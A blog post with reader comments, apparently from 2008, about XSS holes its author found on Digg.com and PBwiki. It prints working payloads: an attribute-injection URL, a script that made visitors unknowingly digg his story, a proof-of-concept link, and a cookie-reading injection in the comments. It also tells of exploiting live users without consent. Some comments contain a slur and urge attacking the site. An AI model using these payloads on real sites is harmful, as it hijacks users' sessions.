How I hacked Digg
Two weeks ago I filed a bug report on Digg.com, explaining several XSS vulnerabilities and bugs I found. Some of these were (and some still are!) very critical. A day later, I got an automated response to my report:
We’ve contacted our development team who are investigating the issue, and will fix it as soon as possible.
All well and good I thought, but when a few days ago all vulnerabilities were still there, I decided to exploit one of them.
The XSS Vulnerability
The Links you can add to your profile weren’t escaped properly. Angle brackets (<) were stripped from the URL, but quotation marks were not. This allowed a very simple hack: I could just enter something like this as an URL
http://www.google.com" onmouseover="evilscript();
Resulting in the following HTML on my profil page
<a href="http://www.google.com" onmouseover="evilscript();" rel="me">FooBar</a>
Of course, this is only a tiny link on my profile page. How big is the chance for someone to mouse over it? Well, this was easily fixed with some CSS styles in my URL:
style="z-index:999999; position:absolute; top:0; left:0; font-size:200pt; text-decoration:none;"
Note the text-decoration:none; – this allowed me to enter something like as the link description, resulting in an invisible layer floating above all the content (screenshot with visible characters instead of blanks). My Javascript code was executed as soon as someone visits the page. Perfect!
An Exploit: The Autodigger™
So, what did I do with this evil exploit at hand? Steal user cookies? Narr, too mean. Write a worm? Mhh… sounds like fun, but it wasn’t worth the three months of community service. Writing something that automatically digged a story of mine was far more compelling and also a lot easier!
I just had to get the users diggcheck – a unique token stored in the session on Digg’s servers, to verify that the request comes indeed from within the Digg.com domain. After that, I needed to send an HTTP POST to actually Digg the story. Luckily, Digg relies heavily on Javascript, so I already had an Ajax library at hand.
I got the diggcheck token by loading a “Digg This” button into an iframe and then posted the request through a library function. I also could have just submitted the form in the “Digg This” iframe, but that would have forwarded the user to the actual story – not very secretive. My final code looked something like this (cleaned up for readability – I had to spread this code across three links, because Digg only allowed 255 chars per link):
var AjaxCode = 'Ajax.Request(' + '"/diginfull",' + '{' + 'method:"post",' + 'parameters:"id=6830157&row=1&type=s&pagetype=4&digcheck="' + '+this.contentWindow.document.forms.f1.digcheck.value,' + 'onSuccess:(window.opener?window.close:null)' + '}' +');'; document.body.innerHTML += + '\u003Ciframe height=0 ' + 'src=\'/tools/diggthis.php?u=http%3A//www.phoboslab.org/log/2008/04/asaph-1-0\'' + 'onload=\''+AjaxCode+'\'\\u003E\\u003C/iframe\\u003E';
My code was working nicely, so now I only needed some users to visit my profile page. I clicked around and added about everyone as a friend – resulting in lots of hits on my profile page and diggs on my story. Apologies to everyone I annoyed with this!
In the end, my story had about 180 diggs, yet it did not make it to the front page – Digg had fixed the bug! One done, some more to go…
Even more XSS
In the hope that Digg would now listen, I sent them a second email. Only to be answered by an auto responder:
Thanks for getting in touch with us regarding this issue. We’re working hard to correct it and apologize for any inconvenience you’ve experienced.
A third email remained completely unanswered. So, here’s a list of the remaining issues I found. Let’s hope they won’t ignore it again.
Titles of non existing pages are not escaped in the API Wiki
Really stupid behavior – and as it seems, not even Digg’s fault, as this is a commercial Wiki application. This demo will render your current Internet Explorer session unusable: Click at your own Risk! Here’s a screenshot.
Quotes are not escaped on the “Create an Account” page
To see this bug, go the Digg signup form and insert " style="border:80px solid #f0f; as the username.
This only works, when the user is not logged in. Furthermore, the form only accepts POST data – however there’s nothing stopping anyone from sending cross domain post requests.
Quotes are not escaped on the “Search for Friends” page
This is a huge security hole. If I know someones username and send him a link, I can basically exploit it the same way as I did with my Autodigger™. Here’s a simple proof of concept (exchange USERNAME with your actual Digg account name):
http://digg.com/users/USERNAME/friends/add/search?needle=%22+style%3D%22position%3Aabsolute%3Bz-index%3A999999%3Btop%3A0%3Bleft%3A0%3Bwidth%3A1500px%3Bheight%3A1500px%3B%22+onmouseover%3D%22alert%28%27exploited%21%27%29%3B
Again, here’s a screenshot.
Bugs, Bugs, Bugs…
There are even more bugs on Digg. Nothing that I could exploit, but still annoying stuff.
Their overall decision to use PHPs strip_tags over htmlSpecialChars in just about every user input field is a very poor one. Firstly because input like “I really <3 this story” is truncated to “I really” and secondly, because quotation marks and ampersands are not escaped at all. This made many of the vulnerabilities listed here possible in the first place.
Then there are input fields which are presumably filtered through stripSlashes twice. The About Me textfield for instance suffers from this. Text like “Yeah \o/” becomes “Yeah o/”.
Newlines (\n) are not escaped in any search forms I found on Digg. This can trigger Javasrcipt errors and is possibly even exploitable. See here: http://digg.com/search?s=asdf%0Aasdf
I could go on…
Conclusion
Digg is a huge website. I don’t blame them for having a few bugs, as it gets harder and harder to stop exploits when new browser technology comes around on a monthly basis.
However, I do blame them for not listening to bug reports and emails. All this stuff could have been fixed weeks ago. Do they wait for every vulnerability to be exploited before they even consider fixing them, or did my mails simply get lost somewhere? I really don’t know, but I hope they will fix these issues now.
Update:
Both, Digg and PBWiki, have now fixed all critical bugs. I was surprised to see how open they discussed this issue. I expected way more secrecy from them after all my previous mails remained unanswered (albeit unintended, how I learned). I also had a brief email conversation with Digg’s Joe Stump. He explained, that they’re planning to switch all input sanitization to htmlSpecialChars() soon.
Still, my Digg story about all of this was hindered from reaching the front page even after all critical bugs were fixed. This is understandable, but of course very unfortunate for me.
34 Comments:
Hola, Lead Architect from Digg here ... We pushed a fix to the first XSS exploit last week sometime and we're actively looking into your other notes as I type this. You can contact me directly in the future if you find bugs at joe (at) digg (dot) com so your reports don't get lost in the shuffle in the future.
Nice article, They are lucky it was you who discovered this and not someone with more sinister goals.
To me, this points to an inherent weakness of large sites. The larger they are, the less responsive they are to user feedback and comments. Many sites are structured to totally isolated their users from their staff.
Founder of PBwiki here, we're pushing a fix for the wiki bug you pointed out right now. If you find more, please email me directly at david (at) pbwiki (dot) com
Hi - CTO of PBwiki here, we are testing and will deploy a fix within the next hour or two. We take xss vulnerabilities seriously and unfortunately this one slipped through. Thanks for the tip!
Heh, crossed comments (I had this page open for a while, didn't see David's post)
On the link that makes your current IE session unusable if you hold down alt+F4 and let it hit the ok button a few thousand times the page closes (only if it is a single tabbed session though)
I must say, I am actually impressed how well these issues are now handled by Digg's and PBwiki's people. Kudos to you, and sorry for the hassle!
If only my story would appear in the list views at Digg again... :)
They deserve everything they got, white hats are faggots and companies that take weeks to fix a security hole (until it gets posted on the Internet, of course!) deserve everything they get.
I see how you were able to make JavaScript calls to evilScript() in onmouseover, but how were you actually able to embed the JavaScript which contained evilScript()?
Hey - Tim Berners-Lee here, Creator of the World Wide Web.
Keep up the good work.
Mhh... I somehow have the feeling that the last comment was a fake...
@Phil: There actually was no evilScript() function. I just put it there to illustrate my point. My real hack used all the code directly, e.g.:
onmouseover="document.body.innerHTML += document.getElementById('dh').onclick();"
Where getElementById('dh') referred to another link in which I injected the onlclick() method, which returned all the code above. This was done, because I was running out of space with the 255 chars limit. All in all very ugly stuff :)
@rolloffle, don't be such an immature tool. If I were your parents, I'd return you to Home Depot.
Please. The function names are strip_tags and htmlspecialchars. Lowercase, not roadBumpCase.
Says who? Function names in PHP are case insensitive. Just because the PHP documentation writes everything in unreadable all-lowercase, doesn't mean I have to.
Cool, you should have shut their site down. Cant think of anyone who deserves it more. Let em have it!
www.FireMe.to/Udi
You could also take advantage of the Microsoft IE css tag expression(). Essentially, you can tell IE to execute simple javascript inside CSS with this method, thus avoiding the <> tags
... These comments are getting trashed.
I appreciate your article. Security articles are difficult (but not necessarily rare) to come by, especially ones that actually explain how to exploit so that I know how to prevent them.
I instinctively clicked 'back' every time after I watched one of the screen shots because I thought I was taken to a new page because the image displaying thing you have doesn't make it obvious that I'm still on the same page, it should do so with some animation or background fading or something.
Just want to understand:
for the first XSS exploit, how can you inject the actual javascript code of function evilscript()?
Thanks.
So can anyone explain why newlines in search forms can trigger JS errors?
See, you make a nice public post that gets a little publicity and the Digg folks pick it up right away (1st post, no less). The real problem is that whole "lost in the shuffle" thing. Big websites get a lot of complainers, trolls, and simply clueless people "trying to help" who fill up their contact mailboxes with crap, such that the few actually important emails will very likely be washed away in the tide.
How to handle it? Obviously, if a really competent developer-type is assigned to read through all the email they'd catch them... and well, that's about all they'd do, ever. What competent developer wants a shit job like that?
Maybe there should be some obscure RFP defining a way for developers to contact the actual developers of another site when they need to communicate an important security risk or bug that regular people won't know about....
@Boston Guy: See my previous comment (#12).
@Henk: The search string, together with the newline, is put directly into a javascript variable inside <script> tags. The HTML page that is returned to the browser, will then look something like this:
<script type="text/javascript">
var searchString = 'malicious
string';
</script>
In SpiderMonkey (Firefox), this will trigger the error: "unterminated string literal". Some Javascript interpreters might even just produce a warning and close the string automatically at a newline. Which would allow code injection like this:
<script type="text/javascript">
var searchString = 'test
alert(document.cookie);
//';
</script>
Very nice article; I do love how fast the Digg and PBWiki teams responded. An email response would have been nice, but then I wouldn't get to see this piece of work.
This is a brilliant article. Thanks a bunch.
digg is lucky as you were the person to find such bugs and did not used to do miscellaneous activities. Nice article
Brilliant stuff. I will take care when I build sites.
Great article. I think i had to read more about xss.
@Rob W: what could help is a special address for security related bug reports like security@digg.com (like Mozilla has).
Digg moderators are EYE OPENED (Being the first to discover the post and comment)
This is such a nice thing to see...
oh very well but i dont think none of them exist now. i was searching for digg exchanges then i wrote digg hack and reached this page having a lot of useful information. and i think 200 diggs required to show up on front page.
Nice Post Useful information
How are you